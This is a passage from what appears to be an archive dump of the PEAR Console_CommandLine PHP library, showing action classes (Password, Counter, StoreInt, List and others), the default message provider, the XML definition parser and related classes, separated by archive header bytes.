     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        $this->setResult(call_user_func($this->option->callback, $value,
            $this->option, $this->result, $this->parser, $params));
    }
    // }}}
}
PK
h�\�b���
�
Gvendor/pear/console_commandline/Console/CommandLine/Action/Password.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the Password action, a special action that allow the 
 * user to specify the password on the commandline or to be prompted for 
 * entering it.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_Password extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An array of optional parameters
     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        $this->setResult(empty($value) ? $this->_promptPassword() : $value);
    }
    // }}}
    // _promptPassword() {{{

    /**
     * Prompts the password to the user without echoing it.
     *
     * @return string
     * @todo not echo-ing the password does not work on windows is there a way 
     *       to make this work ?
     */
    private function _promptPassword()
    {
        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            fwrite(STDOUT,
                $this->parser->message_provider->get('PASSWORD_PROMPT_ECHO'));
            @flock(STDIN, LOCK_EX);
            $passwd = fgets(STDIN);
            @flock(STDIN, LOCK_UN);
        } else {
            fwrite(STDOUT, $this->parser->message_provider->get('PASSWORD_PROMPT'));
            // disable echoing
            system('stty -echo');
            @flock(STDIN, LOCK_EX);
            $passwd = fgets(STDIN);
            @flock(STDIN, LOCK_UN);
            system('stty echo');
        }
        return trim($passwd);
    }
    // }}}
}
PK
h�\�#�		Gvendor/pear/console_commandline/Console/CommandLine/Action/StoreInt.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the StoreInt action.
 *
 * The execute method store the value of the option entered by the user as an
 * integer in the result option array entry, if the value passed is not an 
 * integer an Exception is raised.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_StoreInt extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An array of optional parameters
     *
     * @return string
     * @throws Console_CommandLine_Exception
     */
    public function execute($value = false, $params = array())
    {
        if (!is_numeric($value)) {
            include_once 'Console/CommandLine/Exception.php';
            throw Console_CommandLine_Exception::factory(
                'OPTION_VALUE_TYPE_ERROR',
                array(
                    'name'  => $this->option->name,
                    'type'  => 'int',
                    'value' => $value
                ),
                $this->parser
            );
        }
        $this->setResult((int)$value);
    }
    // }}}
}
PK
h�\W>���Fvendor/pear/console_commandline/Console/CommandLine/Action/Counter.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the Version action.
 *
 * The execute methode add 1 to the value of the result option array entry.
 * The value is incremented each time the option is found, for example
 * with an option defined like that:
 *
 * <code>
 * $parser->addOption(
 *     'verbose',
 *     array(
 *         'short_name' => '-v',
 *         'action'     => 'Counter'
 *     )
 * );
 * </code>
 * If the user type:
 * <code>
 * $ script.php -v -v -v
 * </code>
 * or: 
 * <code>
 * $ script.php -vvv
 * </code>
 * the verbose variable will be set to to 3.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_Counter extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An optional array of parameters
     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        $result = $this->getResult();
        if ($result === null) {
            $result = 0;
        }
        $this->setResult(++$result);
    }
    // }}}
}
PK
h�\й6l�	�	Cvendor/pear/console_commandline/Console/CommandLine/Action/List.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the List action, a special action that simply output an 
 * array as a list.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_List extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     * Possible parameters are:
     * - message: an alternative message to display instead of the default 
     *   message,
     * - delimiter: an alternative delimiter instead of the comma,
     * - post: a string to append after the message (default is the new line 
     *   char).
     *
     * @param mixed $value  The option value
     * @param array $params An optional array of parameters
     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        $list = isset($params['list']) ? $params['list'] : array();
        $msg  = isset($params['message']) 
            ? $params['message'] 
            : $this->parser->message_provider->get('LIST_DISPLAYED_MESSAGE');
        $del  = isset($params['delimiter']) ? $params['delimiter'] : ', ';
        $post = isset($params['post']) ? $params['post'] : "\n";
        $this->parser->outputter->stdout($msg . implode($del, $list) . $post);
        exit(0);
    }
    // }}}
}
PK
h�\I �j��Ivendor/pear/console_commandline/Console/CommandLine/Action/StoreArray.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the StoreArray action.
 *
 * The execute method appends the value of the option entered by the user to 
 * the result option array entry.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_StoreArray extends Console_CommandLine_Action
{
    // Protected properties {{{

    /**
     * Force a clean result when first called, overriding any defaults assigned.
     *
     * @var object $firstPass First time this action has been called.
     */
    protected $firstPass = true;

    // }}}
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An optional array of parameters
     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        $result = $this->getResult();
        if (null === $result || $this->firstPass) {
            $result          = array();
            $this->firstPass = false;
        }
        $result[] = $value;
        $this->setResult($result);
    }
    // }}}
}
PK
h�\�7LJvendor/pear/console_commandline/Console/CommandLine/Action/StoreString.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required by this class.
 */
require_once 'Console/CommandLine/Action.php';

/**
 * Class that represent the StoreString action.
 *
 * The execute method store the value of the option entered by the user as a 
 * string in the result option array entry.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Action_StoreString extends Console_CommandLine_Action
{
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     *
     * @param mixed $value  The option value
     * @param array $params An array of optional parameters
     *
     * @return string
     */
    public function execute($value = false, $params = array())
    {
        $this->setResult((string)$value);
    }
    // }}}
}
PK
h�\���qqOvendor/pear/console_commandline/Console/CommandLine/MessageProvider/Default.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * The message provider interface.
 */
require_once 'Console/CommandLine/MessageProvider.php';

/**
 * The custom message provider interface.
 */
require_once 'Console/CommandLine/CustomMessageProvider.php';

/**
 * Lightweight class that manages messages used by Console_CommandLine package, 
 * allowing the developper to customize these messages, for example to 
 * internationalize a command line frontend.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_MessageProvider_Default
    implements Console_CommandLine_MessageProvider,
    Console_CommandLine_CustomMessageProvider
{
    // Properties {{{

    /**
     * Associative array of messages
     *
     * @var array $messages
     */
    protected $messages = array(
        'OPTION_VALUE_REQUIRED'   => 'Option "{$name}" requires a value.',
        'OPTION_VALUE_UNEXPECTED' => 'Option "{$name}" does not expect a value (got "{$value}").',
        'OPTION_VALUE_NOT_VALID'  => 'Option "{$name}" must be one of the following: "{$choices}" (got "{$value}").',
        'ARGUMENT_VALUE_NOT_VALID'=> 'Argument "{$name}" must be one of the following: "{$choices}" (got "{$value}").',
        'OPTION_VALUE_TYPE_ERROR' => 'Option "{$name}" requires a value of type {$type} (got "{$value}").',
        'OPTION_AMBIGUOUS'        => 'Ambiguous option "{$name}", can be one of the following: {$matches}.',
        'OPTION_UNKNOWN'          => 'Unknown option "{$name}".',
        'ARGUMENT_REQUIRED'       => 'You must provide at least {$argnum} argument{$plural}.',
        'PROG_HELP_LINE'          => 'Type "{$progname} --help" to get help.',
        'PROG_VERSION_LINE'       => '{$progname} version {$version}.',
        'COMMAND_HELP_LINE'       => 'Type "{$progname} <command> --help" to get help on specific command.',
        'USAGE_WORD'              => 'Usage',
        'OPTION_WORD'             => 'Options',
        'ARGUMENT_WORD'           => 'Arguments',
        'COMMAND_WORD'            => 'Commands',
        'PASSWORD_PROMPT'         => 'Password: ',
        'PASSWORD_PROMPT_ECHO'    => 'Password (warning: will echo): ',
        'INVALID_CUSTOM_INSTANCE' => 'Instance does not implement the required interface',
        'LIST_OPTION_MESSAGE'     => 'lists valid choices for option {$name}',
        'LIST_DISPLAYED_MESSAGE'  => 'Valid choices are: ',
        'INVALID_SUBCOMMAND'      => 'Command "{$command}" is not valid.',
        'SUBCOMMAND_REQUIRED'     => 'Please enter one of the following command: {$commands}.',
    );

    // }}}
    // get() {{{

    /**
     * Retrieve the given string identifier corresponding message.
     *
     * @param string $code The string identifier of the message
     * @param array  $vars An array of template variables
     *
     * @return string
     */
    public function get($code, $vars = array())
    {
        if (!isset($this->messages[$code])) {
            return 'UNKNOWN';
        }
        return $this->replaceTemplateVars($this->messages[$code], $vars);
    }

    // }}}
    // getWithCustomMessages() {{{

    /**
     * Retrieve the given string identifier corresponding message.
     *
     * @param string $code     The string identifier of the message
     * @param array  $vars     An array of template variables
     * @param array  $messages An optional array of messages to use. Array
     *                         indexes are message codes.
     *
     * @return string
     */
    public function getWithCustomMessages(
        $code, $vars = array(), $messages = array()
    ) {
        // get message
        if (isset($messages[$code])) {
            $message = $messages[$code];
        } elseif (isset($this->messages[$code])) {
            $message = $this->messages[$code];
        } else {
            $message = 'UNKNOWN';
        }
        return $this->replaceTemplateVars($message, $vars);
    }

    // }}}
    // replaceTemplateVars() {{{

    /**
     * Replaces template vars in a message
     *
     * @param string $message The message
     * @param array  $vars    An array of template variables
     *
     * @return string
     */
    protected function replaceTemplateVars($message, $vars = array())
    {
        $tmpkeys = array_keys($vars);
        $keys    = array();
        foreach ($tmpkeys as $key) {
            $keys[] = '{$' . $key . '}';
        }
        return str_replace($keys, array_values($vars), $message);
    }

    // }}}
}
PK
h�\F��&&Avendor/pear/console_commandline/Console/CommandLine/XmlParser.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Required file
 */
require_once 'Console/CommandLine.php';

/**
 * Parser for command line xml definitions.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_XmlParser
{
    // parse() {{{

    /**
     * Parses the given xml definition file and returns a
     * Console_CommandLine instance constructed with the xml data.
     *
     * @param string $xmlfile The xml file to parse
     *
     * @return Console_CommandLine A parser instance
     */
    public static function parse($xmlfile)
    {
        if (!is_readable($xmlfile)) {
            Console_CommandLine::triggerError('invalid_xml_file',
                E_USER_ERROR, array('{$file}' => $xmlfile));
        }
        $doc = new DomDocument();
        $doc->load($xmlfile);
        self::validate($doc);
        $nodes = $doc->getElementsByTagName('command');
        $root  = $nodes->item(0);
        return self::_parseCommandNode($root, true);
    }

    // }}}
    // parseString() {{{

    /**
     * Parses the given xml definition string and returns a
     * Console_CommandLine instance constructed with the xml data.
     *
     * @param string $xmlstr The xml string to parse
     *
     * @return Console_CommandLine A parser instance
     */
    public static function parseString($xmlstr)
    {
        $doc = new DomDocument();
        $doc->loadXml($xmlstr);
        self::validate($doc);
        $nodes = $doc->getElementsByTagName('command');
        $root  = $nodes->item(0);
        return self::_parseCommandNode($root, true);
    }

    // }}}
    // validate() {{{

    /**
     * Validates the xml definition using Relax NG.
     *
     * @param DomDocument $doc The document to validate
     *
     * @return boolean Whether the xml data is valid or not.
     * @throws Console_CommandLine_Exception
     * @todo use exceptions
     */
    public static function validate($doc)
    {
        $pkgRoot  = __DIR__ . '/../../';
        $paths = array(
            // PEAR/Composer
            '@data_dir@/Console_CommandLine/data/xmlschema.rng',
            // Composer
            $pkgRoot . 'data/Console_CommandLine/data/xmlschema.rng',
            $pkgRoot . 'data/console_commandline/data/xmlschema.rng',
            // Git
            $pkgRoot . 'data/xmlschema.rng',
            'xmlschema.rng',
        );

        foreach ($paths as $path) {
            if (is_readable($path)) {
                return $doc->relaxNGValidate($path);
            }
        }
        Console_CommandLine::triggerError(
            'invalid_xml_file',
            E_USER_ERROR, array('{$file}' => $rngfile));
    }

    // }}}
    // _parseCommandNode() {{{

    /**
     * Parses the root command node or a command node and returns the
     * constructed Console_CommandLine or Console_CommandLine_Command instance.
     *
     * @param DomDocumentNode $node       The node to parse
     * @param bool            $isRootNode Whether it is a root node or not
     *
     * @return mixed Console_CommandLine or Console_CommandLine_Command
     */
    private static function _parseCommandNode($node, $isRootNode = false)
    {
        if ($isRootNode) {
            $obj = new Console_CommandLine();
        } else {
            include_once 'Console/CommandLine/Command.php';
            $obj = new Console_CommandLine_Command();
        }
        foreach ($node->childNodes as $cNode) {
            $cNodeName = $cNode->nodeName;
            switch ($cNodeName) {
            case 'name':
            case 'description':
            case 'version':
                $obj->$cNodeName = trim($cNode->nodeValue);
                break;
            case 'add_help_option':
            case 'add_version_option':
            case 'force_posix':
                $obj->$cNodeName = self::_bool(trim($cNode->nodeValue));
                break;
            case 'option':
                $obj->addOption(self::_parseOptionNode($cNode));
                break;
            case 'argument':
                $obj->addArgument(self::_parseArgumentNode($cNode));
                break;
            case 'command':
                $obj->addCommand(self::_parseCommandNode($cNode));
                break;
            case 'aliases':
                if (!$isRootNode) {
                    foreach ($cNode->childNodes as $subChildNode) {
                        if ($subChildNode->nodeName == 'alias') {
                            $obj->aliases[] = trim($subChildNode->nodeValue);
                        }
                    }
                }
                break;
            case 'messages':
                $obj->messages = self::_messages($cNode);
                break;
            default:
                break;
            }
        }
        return $obj;
    }

    // }}}
    // _parseOptionNode() {{{

    /**
     * Parses an option node and returns the constructed
     * Console_CommandLine_Option instance.
     *
     * @param DomDocumentNode $node The node to parse
     *
     * @return Console_CommandLine_Option The built option
     */
    private static function _parseOptionNode($node)
    {
        include_once 'Console/CommandLine/Option.php';
        $obj = new Console_CommandLine_Option($node->getAttribute('name'));
        foreach ($node->childNodes as $cNode) {
            $cNodeName = $cNode->nodeName;
            switch ($cNodeName) {
            case 'choices':
                foreach ($cNode->childNodes as $subChildNode) {
                    if ($subChildNode->nodeName == 'choice') {
                        $obj->choices[] = trim($subChildNode->nodeValue);
                    }
                }
                break;
            case 'messages':
                $obj->messages = self::_messages($cNode);
                break;
            default:
                if (property_exists($obj, $cNodeName)) {
                    $obj->$cNodeName = trim($cNode->nodeValue);
                }
                break;
            }
        }
        if ($obj->action == 'Password') {
            $obj->argument_optional = true;
        }
        return $obj;
    }

    // }}}
    // _parseArgumentNode() {{{

    /**
     * Parses an argument node and returns the constructed
     * Console_CommandLine_Argument instance.
     *
     * @param DomDocumentNode $node The node to parse
     *
     * @return Console_CommandLine_Argument The built argument
     */
    private static function _parseArgumentNode($node)
    {
        include_once 'Console/CommandLine/Argument.php';
        $obj = new Console_CommandLine_Argument($node->getAttribute('name'));
        foreach ($node->childNodes as $cNode) {
            $cNodeName = $cNode->nodeName;
            switch ($cNodeName) {
            case 'description':
            case 'help_name':
            case 'default':
                $obj->$cNodeName = trim($cNode->nodeValue);
                break;
            case 'multiple':
                $obj->multiple = self::_bool(trim($cNode->nodeValue));
                break;
            case 'optional':
                $obj->optional = self::_bool(trim($cNode->nodeValue));
                break;
            case 'choices':
                foreach ($cNode->childNodes as $subChildNode) {
                    if ($subChildNode->nodeName == 'choice') {
                        $obj->choices[] = trim($subChildNode->nodeValue);
                    }
                }
                break;
            case 'messages':
                $obj->messages = self::_messages($cNode);
                break;
            default:
                break;
            }
        }
        return $obj;
    }

    // }}}
    // _bool() {{{

    /**
     * Returns a boolean according to true/false possible strings.
     *
     * @param string $str The string to process
     *
     * @return boolean
     */
    private static function _bool($str)
    {
        return in_array(strtolower((string)$str), array('true', '1', 'on', 'yes'));
    }

    // }}}
    // _messages() {{{

    /**
     * Returns an array of custom messages for the element
     *
     * @param DOMNode $node The messages node to process
     *
     * @return array an array of messages
     *
     * @see Console_CommandLine::$messages
     * @see Console_CommandLine_Element::$messages
     */
    private static function _messages(DOMNode $node)
    {
        $messages = array();

        foreach ($node->childNodes as $cNode) {
            if ($cNode->nodeType == XML_ELEMENT_NODE) {
                $name  = $cNode->getAttribute('name');
                $value = trim($cNode->nodeValue);

                $messages[$name] = $value;
            }
        }

        return $messages;
    }

    // }}}
}
PK
h�\��Avendor/pear/console_commandline/Console/CommandLine/Outputter.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Outputters common interface, all outputters must implement this interface.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
interface Console_CommandLine_Outputter
{
    // stdout() {{{

    /**
     * Processes the output for a message that should be displayed on STDOUT.
     *
     * @param string $msg The message to output
     *
     * @return void
     */
    public function stdout($msg);

    // }}}
    // stderr() {{{

    /**
     * Processes the output for a message that should be displayed on STDERR.
     *
     * @param string $msg The message to output
     *
     * @return void
     */
    public function stderr($msg);

    // }}}
}
PK
h�\�	�?vendor/pear/console_commandline/Console/CommandLine/Command.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * File containing the parent class.
 */
require_once 'Console/CommandLine.php';

/**
 * Class that represent a command with option and arguments.
 *
 * This class exist just to clarify the interface but at the moment it is 
 * strictly identical to Console_CommandLine class, it could change in the
 * future though.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Command extends Console_CommandLine
{
    // Public properties {{{

    /**
     * An array of aliases for the subcommand.
     *
     * @var array $aliases Aliases for the subcommand.
     */
    public $aliases = array();

    // }}}
    // __construct() {{{

    /**
     * Constructor.
     *
     * @param array  $params An optional array of parameters
     *
     * @return void
     */
    public function __construct($params = array()) 
    {
        if (isset($params['aliases'])) {
            $this->aliases = $params['aliases'];
        }
        parent::__construct($params);
    }

    // }}}
}
PK
h�\|ר��@vendor/pear/console_commandline/Console/CommandLine/Argument.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Include base element class.
 */
require_once 'Console/CommandLine/Element.php';

/**
 * Class that represent a command line argument.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Argument extends Console_CommandLine_Element
{
    // Public properties {{{

    /**
     * Setting this to true will tell the parser that the argument expects more
     * than one argument and that argument values should be stored in an array.
     *
     * @var boolean $multiple Whether the argument expects multiple values
     */
    public $multiple = false;

    /**
     * Setting this to true will tell the parser that the argument is optional
     * and can be ommited.
     * Note that it is not a good practice to make arguments optional, it is
     * the role of the options to be optional, by essence.
     *
     * @var boolean $optional Whether the argument is optional or not.
     */
    public $optional = false;

    /**
     * An array of possible values for the argument.
     *
     * @var array $choices Valid choices for the argument
     */
    public $choices = array();

    // }}}
    // validate() {{{

    /**
     * Validates the argument instance.
     *
     * @return void
     * @throws Console_CommandLine_Exception
     * @todo use exceptions
     */
    public function validate()
    {
        // check if the argument name is valid
        if (!preg_match('/^[a-zA-Z_\x7f-\xff]+[a-zA-Z0-9_\x7f-\xff]*$/',
            $this->name)) {
            Console_CommandLine::triggerError(
                'argument_bad_name',
                E_USER_ERROR,
                array('{$name}' => $this->name)
            );
        }
        if (!$this->optional && $this->default !== null) {
            Console_CommandLine::triggerError(
                'argument_no_default',
                E_USER_ERROR
            );
        }
        parent::validate();
    }

    // }}}
}
PK
h�\CE�>vendor/pear/console_commandline/Console/CommandLine/Action.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Class that represent an option action.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
abstract class Console_CommandLine_Action
{
    // Properties {{{

    /**
     * A reference to the result instance.
     *
     * @var Console_CommandLine_Result $result The result instance
